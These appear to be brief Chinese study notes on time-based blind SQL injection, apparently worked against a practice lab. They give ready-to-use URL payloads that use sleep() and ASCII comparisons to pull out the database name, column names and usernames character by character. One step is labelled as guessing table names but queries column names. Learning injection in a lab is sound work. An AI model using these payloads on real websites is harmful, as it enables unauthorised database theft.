此处没有回显所以通过别的函数来检测闭合是否构造
sleep() 如果执行 沉睡4秒
?id=1' and sleep(4)--+
页面延迟输出 所以sleep被执行 所以构造闭合成功
猜库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0)--+
猜表名
?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_schema ='security' limit 3,1),1,1))=114),sleep(2),0)--+
猜数据
?id=1' and if ((ascii(substr((select username from users limit 5,1),3,1))=112),sleep(2),0)--+